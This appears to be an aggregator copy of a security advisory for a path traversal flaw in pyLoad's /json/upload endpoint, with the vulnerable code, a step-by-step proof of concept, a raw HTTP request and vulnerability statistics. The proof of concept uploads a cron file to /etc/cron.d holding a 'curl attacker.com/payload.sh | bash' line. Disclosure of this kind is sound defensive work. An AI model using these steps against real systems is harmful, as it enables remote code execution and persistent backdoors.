`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write
Summary
An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:
- Remote Code Execution (RCE)
- Local Privilege Escalation
- System-wide compromise
- Persistence and backdoors
Vulnerable Code
File: src/pyload/webui/app/blueprints/json_blueprint.py
@json_blueprint.route("/upload", methods=["POST"])
def upload():
dir_path = api.get_config_value("general", "storage_folder")
for file in request.files.getlist("file"):
file_path = os.path.join(dir_path, "tmp_" + file.filename)
file.save(file_path)Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.
(Proof of Concept)
- Clone and install pyLoad from source (
pip install pyload-ng):
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload- Or install via pip (PyPi) in virtualenv:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload- Login and obtain session token
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
-d "username=admin&password=admin"- Create malicious cron payload
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit- Upload file with path traversal filename
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
-F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"- On the next cron tick, a reverse shell or payload will be triggered.
BurpSuite HTTP Request
POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e
--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream
*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | >= 0.5.0b3.dev89, < 0.5.0b3.dev90 | 0.5.0b3.dev90 |
References
- https://github.com/pyload/pyload/security/advisories/GHSA-xqpg-92fq-grfg
- https://nvd.nist.gov/vuln/detail/CVE-2025-54140
- https://github.com/pyload/pyload/commit/fc4b136e9c4e7dcbb8e467ae802cb2c3f70a71b0
- https://github.com/pyload/pyload
- https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109
- https://pypi.org/project/pyload-ng
- https://github.com/advisories/GHSA-xqpg-92fq-grfg
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 21.07.2025
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1823 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-xqpg-92fq-grfg - CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write this entry
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